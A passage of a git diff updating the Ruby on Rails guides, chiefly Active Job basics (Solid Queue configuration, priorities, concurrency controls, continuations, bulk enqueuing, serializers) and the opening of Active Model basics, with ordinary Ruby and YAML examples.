+| **concurrency_maintenance_interval** | Time in seconds the dispatcher waits before checking for blocked jobs that can be unblocked.        | 600 seconds                                   |
+| **queues**                           | List of queues workers fetch jobs from. Supports `*` for all queues or queue name prefixes.         | `*`                                           |
+| **threads**                          | Maximum size of the thread pool for each worker. Determines how many jobs a worker fetches at once. | 3                                             |
+| **processes**                        | Number of worker processes forked by the supervisor. Each process can dedicate a CPU core.          | 1                                             |
+| **concurrency_maintenance**          | Whether the dispatcher performs concurrency maintenance work.                                       | true                                          |
+
+You can read more about these [configuration options in the Solid Queue
+documentation](https://github.com/rails/solid_queue?tab=readme-ov-file#configuration).
+There are also [additional configuration
+options](https://github.com/rails/solid_queue?tab=readme-ov-file#other-configuration-settings)
+that can be set in `config/<environment>.rb` to further configure Solid Queue in
+your Rails Application.
+
+### Queue Order
+
+As per the configuration options in the [Configuration section](#configuration),
+the `queues` configuration option will list the queues that workers will pick
+jobs from. In a list of queues, the order matters. Workers will pick jobs from
+the first queue in the list - once there are no more jobs in the first queue,
+only then will it move onto the second, and so on.
+
+```yaml
+# config/queue.yml
+production:
+  workers:
+    - queues:[active_storage*, mailers]
+      threads: 3
+      polling_interval: 5
+```
+
+In the above example, workers will fetch jobs from queues starting with
+"active_storage", like  the `active_storage_analyse` queue and
+`active_storage_transform` queue. Only when no jobs remain in the
+`active_storage`-prefixed queues will workers move on to the `mailers` queue.
+
+NOTE: The wildcard `*` (like at the end of "active_storage") is only allowed on
+its own or at the end of a queue name to match all queues with the same prefix.
+You can't specify queue names such as `*_some_queue`.
+
+WARNING: Using wildcard queue names (e.g., `queues: active_storage*`) can slow
+down polling performance in SQLite and PostgreSQL due to the need for a `DISTINCT`
+query to identify all matching queues, which can be slow on large tables in these RDBMS.
+For better performance, it’s best to specify exact queue names instead of using
+wildcards. Read more about this in [Queues specification and performance in the
+Solid Queue documentation](https://github.com/rails/solid_queue?tab=readme-ov-file#queues-specification-and-performance)
+
+Active Job supports positive integer priorities when enqueuing jobs (see
+[Priority section](#priority)). Within a single queue, jobs are picked based on
+their priority (with lower integers being higher priority). However, when you
+have multiple queues, the order of the queues themselves takes priority.
+
+For example, if you have two queues, `production` and `background`, jobs in the
+`production` queue will always be processed first, even if some jobs in the
+`background` queue have a higher priority.
+
+### Threads, Processes, and Signals
+
+In Solid Queue, parallelism is achieved through threads (configurable via the
+[`threads` parameter](#configuration)), processes (via the [`processes`
+parameter](#configuration)), or horizontal scaling. The supervisor manages
+processes and responds to the following signals:
+
+- **TERM, INT**: Starts graceful termination, sending a TERM signal and waiting
+  up to `SolidQueue.shutdown_timeout`. If not finished, a QUIT signal forces
+  processes to exit.
+- **QUIT**: Forces immediate termination of processes.
+
+If a worker is killed unexpectedly (e.g., with a `KILL` signal), in-flight jobs
+are marked as failed, and errors like `SolidQueue::Processes::ProcessExitError`
+or `SolidQueue::Processes::ProcessPrunedError` are raised. Heartbeat settings
+help manage and detect expired processes. Read more about [Threads, Processes
+and Signals in the Solid Queue
+documentation](https://github.com/rails/solid_queue?tab=readme-ov-file#threads-processes-and-signals).
+
+### Errors When Enqueuing
+
+Solid Queue raises a `SolidQueue::Job::EnqueueError` when Active Record errors
+occur during job enqueuing. This is different from the `ActiveJob::EnqueueError`
+raised by Active Job, which handles the error and makes `perform_later` return
+false. This makes error handling trickier for jobs enqueued by Rails or
+third-party gems like `Turbo::Streams::BroadcastJob`.
+
+For recurring tasks, any errors encountered while enqueuing are logged, but they
+won’t be raised. Read more about [Errors When Enqueuing in the Solid Queue
+documentation](https://github.com/rails/solid_queue?tab=readme-ov-file#errors-when-enqueuing).
+
+### Concurrency Controls
+
+Solid Queue extends Active Job with concurrency controls, allowing you to limit
+how many jobs of a certain type or with specific arguments can run at the same
+time. If a job exceeds the limit, it will be blocked until another job finishes
+or the duration expires. For example:
+
+```ruby
+class MyJob < ApplicationJob
+  limits_concurrency to: 2, key: ->(contact) { contact.account }, duration: 5.minutes
+
+  def perform(contact)
+    # perform job logic
   end
 end
 ```
 
-You can also configure your backend on a per job basis.
+In this example, only two `MyJob` instances for the same account will run
+concurrently. After that, other jobs will be blocked until one completes.
+
+The `group` parameter can be used to control concurrency across different job
+types. For instance, two different job classes that use the same group will have
+their concurrency limited together:
 
 ```ruby
-class GuestsCleanupJob < ApplicationJob
-  self.queue_adapter = :resque
-  #....
+class Box::MovePostingsByContactToDesignatedBoxJob < ApplicationJob
+  limits_concurrency key: ->(contact) { contact }, duration: 15.minutes, group: "ContactActions"
 end
 
-# Now your job will use `resque` as it's backend queue adapter overriding what
-# was configured in `config.active_job.queue_adapter`.
+class Bundle::RebundlePostingsJob < ApplicationJob
+  limits_concurrency key: ->(bundle) { bundle.contact }, duration: 15.minutes, group: "ContactActions"
+end
 ```
 
-### Starting the Backend
+This ensures that only one job for a given contact can run at a time, regardless
+of the job class.
 
-Since jobs run in parallel to your Rails application, most queuing libraries
-require that you start a library-specific queuing service (in addition to
-starting your Rails app) for the job processing to work. Refer to library
-documentation for instructions on starting your queue backend.
+Read more about [Concurrency Controls in the Solid Queue
+documentation](https://github.com/rails/solid_queue?tab=readme-ov-file#concurrency-controls).
 
-Here is a noncomprehensive list of documentation:
+### Error Reporting on Jobs
 
-- [Sidekiq](https://github.com/mperham/sidekiq/wiki/Active-Job)
-- [Resque](https://github.com/resque/resque/wiki/ActiveJob)
-- [Sucker Punch](https://github.com/brandonhilkert/sucker_punch#active-job)
-- [Queue Classic](https://github.com/QueueClassic/queue_classic#active-job)
+If your error tracking service doesn’t automatically report job errors, you can
+manually hook into Active Job to report them. For example, you can add a
+`rescue_from` block in `ApplicationJob`:
+
+```ruby
+class ApplicationJob < ActiveJob::Base
+  rescue_from(Exception) do |exception|
+    Rails.error.report(exception)
+    raise exception
+  end
+end
+```
+
+If you use ActionMailer, you’ll need to handle errors for `MailDeliveryJob`
+separately:
+
+```ruby
+class ApplicationMailer < ActionMailer::Base
+  ActionMailer::MailDeliveryJob.rescue_from(Exception) do |exception|
+    Rails.error.report(exception)
+    raise exception
+  end
+end
+```
+
+### Transactional Integrity on Jobs
+
+⚠� Having your jobs in the same ACID-compliant database as your application data
+enables a powerful yet sharp tool: taking advantage of transactional integrity
+to ensure some action in your app is not committed unless your job is also committed
+and vice versa, and ensuring that your job won't be enqueued until the transaction
+within which you're enqueuing it is committed. This can be very powerful and useful,
+but it can also backfire if you base some of your logic on this behavior,
+and in the future, you move to another active job backend, or if you simply move
+Solid Queue to its own database, and suddenly the behavior changes under you.
+
+Because this can be quite tricky and many people shouldn't need to worry about it,
+by default Solid Queue is configured in a different database as the main app.
+
+However, if you use Solid Queue in the same database as your app, you can make sure you
+don't rely accidentally on transactional integrity with Active Job’s
+`enqueue_after_transaction_commit` option which can be enabled for individual jobs or
+all jobs through `ApplicationJob`:
+
+```ruby
+class ApplicationJob < ActiveJob::Base
+  self.enqueue_after_transaction_commit = true
+end
+```
+
+You can also configure Solid Queue to use the same database as your app while
+avoiding relying on transactional integrity by setting up a separate database
+connection for Solid Queue jobs. Read more about [Transactional Integrity in the
+Solid Queue
+documentation](https://github.com/rails/solid_queue?tab=readme-ov-file#jobs-and-transactional-integrity)
+
+### Recurring Tasks
+
+Solid Queue supports recurring tasks, similar to cron jobs. These tasks are
+defined in a configuration file (by default, `config/recurring.yml`) and can be
+scheduled at specific times. Here's an example of a task configuration:
+
+```yaml
+production:
+  a_periodic_job:
+    class: MyJob
+    args: [42, { status: "custom_status" }]
+    schedule: every second
+  a_cleanup_task:
+    command: "DeletedStuff.clear_all"
+    schedule: every day at 9am
+```
+
+Each task specifies a `class` or `command` and a `schedule` (parsed using
+[Fugit](https://github.com/floraison/fugit)). You can also pass arguments to
+jobs, such as in the example for `MyJob` where `args` are passed. This can be
+passed as a single argument, a hash, or an array of arguments that can also
+include kwargs as the last element in the array. This allows jobs to run
+periodically at specified times.
+
+Read more about [Recurring Tasks in the Solid Queue
+documentation](https://github.com/rails/solid_queue?tab=readme-ov-file#recurring-tasks).
+
+### Job Tracking and Management
+
+A tool like
+[`mission_control-jobs`](https://github.com/rails/mission_control-jobs) can help
+centralize the monitoring and management of failed jobs. It provides insights
+into job statuses, failure reasons, and retry behaviors, enabling you to track
+and resolve issues more effectively.
+
+For instance, if a job fails to process a large file due to a timeout,
+`mission_control-jobs` allows you to inspect the failure, review the job’s
+arguments and execution history, and decide whether to retry, requeue, or
+discard it.
 
 Queues
 ------
 
-Most of the adapters support multiple queues. With Active Job you can schedule
-the job to run on a specific queue:
+With Active Job you can schedule the job to run on a specific queue using
+[`queue_as`][]:
 
 ```ruby
 class GuestsCleanupJob < ApplicationJob
   queue_as :low_priority
-  #....
+  # ...
 end
 ```
 
 You can prefix the queue name for all your jobs using
-`config.active_job.queue_name_prefix` in `application.rb`:
+[`config.active_job.queue_name_prefix`][] in `application.rb`:
 
 ```ruby
 # config/application.rb
@@ -188,11 +514,13 @@ module YourApp
     config.active_job.queue_name_prefix = Rails.env
   end
 end
+```
 
+```ruby
 # app/jobs/guests_cleanup_job.rb
 class GuestsCleanupJob < ApplicationJob
   queue_as :low_priority
-  #....
+  # ...
 end
 
 # Now your job will run on queue production_low_priority on your
@@ -200,22 +528,37 @@ end
 # on your staging environment
 ```
 
+You can also configure the prefix on a per job basis.
+
+```ruby
+class GuestsCleanupJob < ApplicationJob
+  queue_as :low_priority
+  self.queue_name_prefix = nil
+  # ...
+end
+
+# Now your job's queue won't be prefixed, overriding what
+# was configured in `config.active_job.queue_name_prefix`.
+```
+
 The default queue name prefix delimiter is '\_'.  This can be changed by setting
-`config.active_job.queue_name_delimiter` in `application.rb`:
+[`config.active_job.queue_name_delimiter`][] in `application.rb`:
 
 ```ruby
 # config/application.rb
 module YourApp
   class Application < Rails::Application
     config.active_job.queue_name_prefix = Rails.env
-    config.active_job.queue_name_delimiter = '.'
+    config.active_job.queue_name_delimiter = "."
   end
 end
+```
 
+```ruby
 # app/jobs/guests_cleanup_job.rb
 class GuestsCleanupJob < ApplicationJob
   queue_as :low_priority
-  #....
+  # ...
 end
 
 # Now your job will run on queue production.low_priority on your
@@ -223,84 +566,326 @@ end
 # on your staging environment
 ```
 
+To control the queue from the job level you can pass a block to `queue_as`. The
+block will be executed in the job context (so it can access `self.arguments`),
+and it must return the queue name:
+
+```ruby
+class ProcessVideoJob < ApplicationJob
+  queue_as do
+    video = self.arguments.first
+    if video.owner.premium?
+      :premium_videojobs
+    else
+      :videojobs
+    end
+  end
+
+  def perform(video)
+    # Do process video
+  end
+end
+```
+
+```ruby
+ProcessVideoJob.perform_later(Video.last)
+```
+
 If you want more control on what queue a job will be run you can pass a `:queue`
-option to `#set`:
+option to `set`:
 
 ```ruby
 MyJob.set(queue: :another_queue).perform_later(record)
 ```
 
-To control the queue from the job level you can pass a block to `#queue_as`. The
-block will be executed in the job context (so you can access `self.arguments`)
-and you must return the queue name:
+NOTE: If you choose to use an [alternate queuing
+backend](#alternate-queuing-backends) you may need to specify the queues to
+listen to.
+
+[`config.active_job.queue_name_delimiter`]:
+    configuring.html#config-active-job-queue-name-delimiter
+[`config.active_job.queue_name_prefix`]:
+    configuring.html#config-active-job-queue-name-prefix
+[`queue_as`]:
+    https://api.rubyonrails.org/classes/ActiveJob/QueueName/ClassMethods.html#method-i-queue_as
+
+
+Priority
+--------
+
+You can schedule a job to run with a specific priority using
+`queue_with_priority`:
+
+```ruby
+class GuestsCleanupJob < ApplicationJob
+  queue_with_priority 10
+  # ...
+end
+```
+
+Solid Queue, the default queuing backend, prioritizes jobs based on the order of
+the queues.  You can read more about it in the [Order of Queues
+section](#queue-order). If you're using Solid Queue, and both the order of the
+queues and the priority option are used, the queue order will take precedence,
+and the priority option will only apply within each queue.
+
+Other queuing backends may allow jobs to be prioritized relative to others
+within the same queue or across multiple queues. Refer to the documentation of
+your backend for more information.
+
+Similar to `queue_as`, you can also pass a block to `queue_with_priority` to be
+evaluated in the job context:
 
 ```ruby
 class ProcessVideoJob < ApplicationJob
-  queue_as do
+  queue_with_priority do
     video = self.arguments.first
     if video.owner.premium?
-      :premium_videojobs
+      0
     else
-      :videojobs
+      10
     end
   end
 
   def perform(video)
-    # Do process video
+    # Process video
   end
 end
+```
 
+```ruby
 ProcessVideoJob.perform_later(Video.last)
 ```
 
-NOTE: Make sure your queuing backend "listens" on your queue name. For some
-backends you need to specify the queues to listen to.
+You can also pass a `:priority` option to `set`:
 
+```ruby
+MyJob.set(priority: 50).perform_later(record)
+```
 
-Callbacks
----------
+NOTE: If a lower priority number performs before or after a higher priority
+number depends on the adapter implementation. Refer to documentation of your
+backend for more information. Adapter authors are encouraged to treat a lower
+number as more important.
+
+[`queue_with_priority`]:
+    https://api.rubyonrails.org/classes/ActiveJob/QueuePriority/ClassMethods.html#method-i-queue_with_priority
+
+Job Continuations
+-----------------
+
+Jobs can be split into resumable steps using continuations. This is useful when
+a job may be interrupted - for example, during queue shutdown. When using
+continuations, the job can resume from the last completed step, avoiding the
+need to restart from the beginning.
+
+To use continuations, include the `ActiveJob::Continuable` module. You can then
+define each step using the `step` method inside the `perform` method. Each step can
+be declared with a block or by referencing a method name.
+
+```ruby
+class ProcessImportJob < ApplicationJob
+  include ActiveJob::Continuable
+
+  def perform(import_id)
+    # Always runs on job start, even when resuming from an interrupted step.
+    @import = Import.find(import_id)
+
+    # Step defined using a block
+    step :initialize do
+      @import.initialize
+    end
+
+    # Step with a cursor — progress is saved and resumed if the job is interrupted
+    step :process do |step|
+      @import.records.find_each(start: step.cursor) do |record|
+        record.process
+        step.advance! from: record.id
+      end
+    end
+
+    # Step defined by referencing a method
+    step :finalize
+  end
 
-Active Job provides hooks during the life cycle of a job. Callbacks allow you to
-trigger logic during the life cycle of a job.
+  private
+    def finalize
+      @import.finalize
+    end
+end
+```
 
-### Available callbacks
+Each step runs sequentially. If the job is interrupted between steps, or within a
+step that uses a cursor, the job resumes from the last recorded position. This
+makes it easier to build long-running or multi-phase jobs that can safely pause
+and resume without losing progress.
+For more details, see [ActiveJob::Continuation](https://api.rubyonrails.org/classes/ActiveJob/Continuation.html).
 
-* `before_enqueue`
-* `around_enqueue`
-* `after_enqueue`
-* `before_perform`
-* `around_perform`
-* `after_perform`
+Callbacks
+---------
 
-### Usage
+Active Job provides hooks to trigger logic during the life cycle of a job. Like
+other callbacks in Rails, you can implement the callbacks as ordinary methods
+and use a macro-style class method to register them as callbacks:
 
 ```ruby
 class GuestsCleanupJob < ApplicationJob
   queue_as :default
 
-  before_enqueue do |job|
-    # Do something with the job instance
+  around_perform :around_cleanup
+
+  def perform
+    # Do something later
   end
 
-  around_perform do |job, block|
-    # Do something before perform
-    block.call
-    # Do something after perform
+  private
+    def around_cleanup
+      # Do something before perform
+      yield
+      # Do something after perform
+    end
+end
+```
+
+The macro-style class methods can also receive a block. Consider using this
+style if the code inside your block is so short that it fits in a single line.
+For example, you could send metrics for every job enqueued:
+
+```ruby
+class ApplicationJob < ActiveJob::Base
+  before_enqueue { |job| $statsd.increment "#{job.class.name.underscore}.enqueue" }
+end
+```
+
+### Available Callbacks
+
+* [`before_enqueue`][]
+* [`around_enqueue`][]
+* [`after_enqueue`][]
+* [`before_perform`][]
+* [`around_perform`][]
+* [`after_perform`][]
+* [`after_discard`][]
+
+[`before_enqueue`]:
+    https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-before_enqueue
+[`around_enqueue`]:
+    https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-around_enqueue
+[`after_enqueue`]:
+    https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-after_enqueue
+[`before_perform`]:
+    https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-before_perform
+[`around_perform`]:
+    https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-around_perform
+[`after_perform`]:
+    https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-after_perform
+[`after_discard`]:
+    https://api.rubyonrails.org/classes/ActiveJob/Exceptions/ClassMethods.html#method-i-after_discard
+
+Please note that when enqueuing jobs in bulk using `perform_all_later`,
+callbacks such as `around_enqueue` will not be triggered on the individual jobs.
+See [Bulk Enqueuing Callbacks](#bulk-enqueue-callbacks).
+
+Bulk Enqueuing
+--------------
+
+You can enqueue multiple jobs at once using
+[`perform_all_later`](https://api.rubyonrails.org/classes/ActiveJob.html#method-c-perform_all_later).
+Bulk enqueuing reduces the number of round trips to the queue data store (like
+Redis or a database), making it a more performant operation than enqueuing the
+same jobs individually.
+
+`perform_all_later` is a top-level API on Active Job. It accepts instantiated
+jobs as arguments (note that this is different from `perform_later`).
+`perform_all_later` does call `perform` under the hood. The arguments passed to
+`new` will be passed on to `perform` when it's eventually called.
+
+Here is an example calling `perform_all_later` with `GuestsCleanupJob` instances:
+
+```ruby
+# Create jobs to pass to `perform_all_later`.
+# The arguments to `new` are passed on to `perform`
+cleanup_jobs = Guest.all.map { |guest| GuestsCleanupJob.new(guest) }
+
+# Will enqueue a separate job for each instance of `GuestsCleanupJob`
+ActiveJob.perform_all_later(cleanup_jobs)
+
+# Can also use `set` method to configure options before bulk enqueuing jobs.
+cleanup_jobs = Guest.all.map { |guest| GuestsCleanupJob.new(guest).set(wait: 1.day) }
+
+ActiveJob.perform_all_later(cleanup_jobs)
+```
+
+`perform_all_later` logs the number of jobs successfully enqueued, for example
+if `Guest.all.map` above resulted in 3 `cleanup_jobs`, it would log
+`Enqueued 3 jobs to Async (3 GuestsCleanupJob)` (assuming all were enqueued).
+
+The return value of `perform_all_later` is `nil`. Note that this is different
+from `perform_later`, which returns the instance of the queued job class.
+
+### Enqueue Multiple Active Job Classes
+
+With `perform_all_later`, it's also possible to enqueue different Active Job
+class instances in the same call. For example:
+
+```ruby
+class ExportDataJob < ApplicationJob
+  def perform(*args)
+    # Export data
   end
+end
 
-  def perform
-    # Do something later
+class NotifyGuestsJob < ApplicationJob
+  def perform(*guests)
+    # Email guests
   end
 end
+
+# Instantiate job instances
+cleanup_job = GuestsCleanupJob.new(guest)
+export_job = ExportDataJob.new(data)
+notify_job = NotifyGuestsJob.new(guest)
+
+# Enqueues job instances from multiple classes at once
+ActiveJob.perform_all_later(cleanup_job, export_job, notify_job)
 ```
 
+### Bulk Enqueue Callbacks
+
+When enqueuing jobs in bulk using `perform_all_later`, callbacks such as
+`around_enqueue` will not be triggered on the individual jobs. This behavior is
+in line with other Active Record bulk methods. Since callbacks run on individual
+jobs, they can't take advantage of the bulk nature of this method.
+
+However, the `perform_all_later` method does fire an
+[`enqueue_all.active_job`](active_support_instrumentation.html#enqueue-all-active-job)
+event which you can subscribe to using `ActiveSupport::Notifications`.
+
+The method
+[`successfully_enqueued?`](https://api.rubyonrails.org/classes/ActiveJob/Core.html#method-i-successfully_enqueued-3F)
+can be used to find out if a given job was successfully enqueued.
+
+### Queue Backend Support
+
+For `perform_all_later`, bulk enqueuing needs to be backed by the queue backend.
+Solid Queue, the default queue backend, supports bulk enqueuing using
+`enqueue_all`.
+
+[Other backends](#alternate-queuing-backends) like Sidekiq have a `push_bulk`
+method, which can push a large number of jobs to Redis and prevent the round
+trip network latency. GoodJob also supports bulk enqueuing with the
+`GoodJob::Bulk.enqueue` method.
+
+If the queue backend does *not* support bulk enqueuing, `perform_all_later` will
+enqueue jobs one by one.
 
 Action Mailer
 ------------
 
-One of the most common jobs in a modern web application is sending emails outside
-of the request-response cycle, so the user doesn't have to wait on it. Active Job
-is integrated with Action Mailer so you can easily send emails asynchronously:
+One of the most common jobs in a modern web application is sending emails
+outside of the request-response cycle, so the user doesn't have to wait on it.
+Active Job is integrated with Action Mailer so you can easily send emails
+asynchronously:
 
 ```ruby
 # If you want to send the email now use #deliver_now
@@ -310,12 +895,18 @@ UserMailer.welcome(@user).deliver_now
 UserMailer.welcome(@user).deliver_later
 ```
 
+NOTE: Using the asynchronous queue from a Rake task (for example, to send an
+email using `.deliver_later`) will generally not work because Rake will likely
+end, causing the in-process thread pool to be deleted, before any/all of the
+`.deliver_later` emails are processed. To avoid this problem, use `.deliver_now`
+or run a persistent queue in development.
+
 
 Internationalization
 --------------------
 
-Each job uses the `I18n.locale` set when the job was created. Useful if you send
-emails asynchronously:
+Each job uses the `I18n.locale` set when the job was created. This is useful if
+you send emails asynchronously:
 
 ```ruby
 I18n.locale = :eo
@@ -324,12 +915,33 @@ UserMailer.welcome(@user).deliver_later # Email will be localized to Esperanto.
 ```
 
 
-GlobalID
---------
+Supported Types for Arguments
+----------------------------
+
+ActiveJob supports the following types of arguments by default:
+
+  - Basic types (`NilClass`, `String`, `Integer`, `Float`, `BigDecimal`,
+    `TrueClass`, `FalseClass`)
+  - `Symbol`
+  - `Date`
+  - `Time`
+  - `DateTime`
+  - `ActiveSupport::TimeWithZone`
+  - `ActiveSupport::Duration`
+  - `Hash` (Keys should be of `String` or `Symbol` type)
+  - `ActiveSupport::HashWithIndifferentAccess`
+  - `Array`
+  - `Range`
+  - `Module`
+  - `Class`
 
-Active Job supports GlobalID for parameters. This makes it possible to pass live
-Active Record objects to your job instead of class/id pairs, which you then have
-to manually deserialize. Before, jobs would look like this:
+### GlobalID
+
+Active Job supports
+[GlobalID](https://github.com/rails/globalid/blob/main/README.md) for
+parameters. This makes it possible to pass live Active Record objects to your
+job instead of class/id pairs, which you then have to manually deserialize.
+Before, jobs would look like this:
 
 ```ruby
 class TrashableCleanupJob < ApplicationJob
@@ -350,22 +962,71 @@ class TrashableCleanupJob < ApplicationJob
 end
 ```
 
-This works with any class that mixes in `GlobalID::Identification`, which
-by default has been mixed into Active Record classes.
+This works with any class that mixes in `GlobalID::Identification`, which by
+default has been mixed into Active Record classes.
+
+### Serializers
+
+You can extend the list of supported argument types. You just need to define
+your own serializer:
+
+```ruby
+# app/serializers/money_serializer.rb
+class MoneySerializer < ActiveJob::Serializers::ObjectSerializer
+  # Converts an object to a simpler representative using supported object types.
+  # The recommended representative is a Hash with a specific key. Keys can be of basic types only.
+  # You should call `super` to add the custom serializer type to the hash.
+  def serialize(money)
+    super(
+      "amount" => money.amount,
+      "currency" => money.currency
+    )
+  end
+
+  # Converts serialized value into a proper object.
+  def deserialize(hash)
+    Money.new(hash["amount"], hash["currency"])
+  end
+
+  # Checks if an argument should be serialized by this serializer.
+  def klass
+    Money
+  end
+end
+```
+
+and add this serializer to the list:
 
+```ruby
+# config/initializers/custom_serializers.rb
+Rails.application.config.active_job.custom_serializers << MoneySerializer
+```
+
+Note that autoloading reloadable code during initialization is not supported.
+Thus it is recommended to set-up serializers to be loaded only once, e.g. by
+amending `config/application.rb` like this:
+
+```ruby
+# config/application.rb
+module YourApp
+  class Application < Rails::Application
+    config.autoload_once_paths << "#{root}/app/serializers"
+  end
+end
+```
 
 Exceptions
 ----------
 
-Active Job provides a way to catch exceptions raised during the execution of the
-job:
+Exceptions raised during the execution of the job can be handled with
+[`rescue_from`][]:
 
 ```ruby
 class GuestsCleanupJob < ApplicationJob
   queue_as :default
 
   rescue_from(ActiveRecord::RecordNotFound) do |exception|
-   # Do something with the exception
+    # Do something with the exception
   end
 
   def perform
@@ -374,16 +1035,112 @@ class GuestsCleanupJob < ApplicationJob
 end
 ```
 
+If an exception from a job is not rescued, then the job is referred to as
+"failed".
+
+[`rescue_from`]:
+    https://api.rubyonrails.org/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from
+
+### Retrying or Discarding Failed Jobs
+
+A failed job will not be retried, unless configured otherwise.
+
+It's possible to retry or discard a failed job by using [`retry_on`] or
+[`discard_on`], respectively. For example:
+
+```ruby
+class RemoteServiceJob < ApplicationJob
+  retry_on CustomAppException # defaults to 3s wait, 5 attempts
+
+  discard_on ActiveJob::DeserializationError
+
+  def perform(*args)
+    # Might raise CustomAppException or ActiveJob::DeserializationError
+  end
+end
+```
+
+[`discard_on`]:
+    https://api.rubyonrails.org/classes/ActiveJob/Exceptions/ClassMethods.html#method-i-discard_on
+[`retry_on`]:
+    https://api.rubyonrails.org/classes/ActiveJob/Exceptions/ClassMethods.html#method-i-retry_on
+
 ### Deserialization
 
 GlobalID allows serializing full Active Record objects passed to `#perform`.
 
-If a passed record is deleted after the job is enqueued but before the `#perform`
-method is called Active Job will raise an `ActiveJob::DeserializationError`
-exception.
+If a passed record is deleted after the job is enqueued but before the
+`#perform` method is called Active Job will raise an
+[`ActiveJob::DeserializationError`][] exception.
+
+[`ActiveJob::DeserializationError`]:
+    https://api.rubyonrails.org/classes/ActiveJob/DeserializationError.html
 
 Job Testing
 --------------
 
-You can find detailed instructions on how to test your jobs in the
-[testing guide](testing.html#testing-jobs).
+You can find detailed instructions on how to test your jobs in the [testing
+guide](testing.html#testing-jobs).
+
+Debugging
+---------
+
+If you need help figuring out where jobs are coming from, you can enable
+[verbose logging](debugging_rails_applications.html#verbose-enqueue-logs).
+
+Alternate Queuing Backends
+--------------------------
+
+Active Job has other built-in adapters for multiple queuing backends (Sidekiq,
+Resque, Delayed Job, and others). To get an up-to-date list of the adapters see
+the API Documentation for [`ActiveJob::QueueAdapters`][].
+
+[`ActiveJob::QueueAdapters`]:
+    https://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html
+
+### Configuring the Backend
+
+You can change your queuing backend with [`config.active_job.queue_adapter`]:
+
+```ruby
+# config/application.rb
+module YourApp
+  class Application < Rails::Application
+    # Be sure to have the adapter's gem in your Gemfile
+    # and follow the adapter's specific installation
+    # and deployment instructions.
+    config.active_job.queue_adapter = :sidekiq
+  end
+end
+```
+
+You can also configure your backend on a per job basis:
+
+```ruby
+class GuestsCleanupJob < ApplicationJob
+  self.queue_adapter = :resque
+  # ...
+end
+
+# Now your job will use `resque` as its backend queue adapter, overriding the default Solid Queue adapter.
+```
+
+[`config.active_job.queue_adapter`]:
+    configuring.html#config-active-job-queue-adapter
+
+### Starting the Backend
+
+Since jobs run in parallel to your Rails application, most queuing libraries
+require that you start a library-specific queuing service (in addition to
+starting your Rails app) for the job processing to work. Refer to library
+documentation for instructions on starting your queue backend.
+
+Here is a noncomprehensive list of documentation:
+
+- [Sidekiq](https://github.com/mperham/sidekiq/wiki/Active-Job)
+- [Resque](https://github.com/resque/resque/wiki/ActiveJob)
+- [Sneakers](https://github.com/jondot/sneakers/wiki/How-To:-Rails-Background-Jobs-with-ActiveJob)
+- [Queue Classic](https://github.com/QueueClassic/queue_classic#active-job)
+- [Delayed Job](https://github.com/collectiveidea/delayed_job#active-job)
+- [Que](https://github.com/que-rb/que#additional-rails-specific-setup)
+- [Good Job](https://github.com/bensheldon/good_job#readme)
diff --git a/guides/source/active_model_basics.md b/guides/source/active_model_basics.md
index 732e553c62919..68cd9adce8d1d 100644
--- a/guides/source/active_model_basics.md
+++ b/guides/source/active_model_basics.md
@@ -1,68 +1,460 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Active Model Basics
 ===================
 
-This guide should provide you with all you need to get started using model
-classes. Active Model allows for Action Pack helpers to interact with
-plain Ruby objects. Active Model also helps build custom ORMs for use
+This guide will provide you with what you need to get started using Active
+Model. Active Model provides a way for Action Pack and Action View helpers to
+interact with plain Ruby objects. It also helps to build custom ORMs for use
 outside of the Rails framework.
 
 After reading this guide, you will know:
 
-* How an Active Record model behaves.
-* How Callbacks and validations work.
-* How serializers work.
-* How Active Model integrates with the Rails internationalization (i18n) framework.
+* What Active Model is, and how it relates to Active Record.
+* The different modules that are included in Active Model.
+* How to use Active Model in your classes.
 
 --------------------------------------------------------------------------------
 
-Introduction
-------------
+What is Active Model?
+---------------------
+
+To understand Active Model, you need to know a little about [Active
+Record](active_record_basics.html). Active Record is an ORM (Object Relational
+Mapper) that connects objects whose data requires persistent storage to a
+relational database. However, it has functionality that is useful outside of the
+ORM, some of these include validations, callbacks, translations, the ability to
+create custom attributes, etc.
+
+Some of this functionality was abstracted from Active Record to form Active
+Model. Active Model is a library containing various modules that can be used on
+plain Ruby objects that require model-like features but are not tied to any
+table in a database.
+
+In summary, while Active Record provides an interface for defining models that
+correspond to database tables, Active Model provides functionality for building
+model-like Ruby classes that don't necessarily need to be backed by a database.
+Active Model can be used independently of Active Record.
 
-Active Model is a library containing various modules used in developing
-classes that need some features present on Active Record.
 Some of these modules are explained below.
 
+### API
+
+[`ActiveModel::API`](https://api.rubyonrails.org/classes/ActiveModel/API.html)
+adds the ability for a class to work with [Action
+Pack](https://api.rubyonrails.org/files/actionpack/README_rdoc.html) and [Action
+View](action_view_overview.html) right out of the box.
+
+When including `ActiveModel::API`, other modules are included by default which
+enables you to get features like:
+
+- [Attribute Assignment](#attribute-assignment)
+- [Conversion](#conversion)
+- [Naming](#naming)
+- [Translation](#translation)
+- [Validations](#validations)
+
+Here is an example of a class that includes `ActiveModel::API` and how it can be
+used:
+
+```ruby
+class EmailContact
+  include ActiveModel::API
+
+  attr_accessor :name, :email, :message
+  validates :name, :email, :message, presence: true
+
+  def deliver
+    if valid?
+      # Deliver email
+    end
+  end
+end
+```
+
+```irb
+irb> email_contact = EmailContact.new(name: "David", email: "david@example.com", message: "Hello World")
+
+irb> email_contact.name # Attribute Assignment
+=> "David"
+
+irb> email_contact.to_model == email_contact # Conversion
+=> true
+
+irb> email_contact.model_name.name # Naming
+=> "EmailContact"
+
+irb> EmailContact.human_attribute_name("name") # Translation if the locale is set
+=> "Name"
+
+irb> email_contact.valid? # Validations
+=> true
+
+irb> empty_contact = EmailContact.new
+irb> empty_contact.valid?
+=> false
+```
+
+Any class that includes `ActiveModel::API` can be used with `form_with`,
+`render` and any other [Action View helper
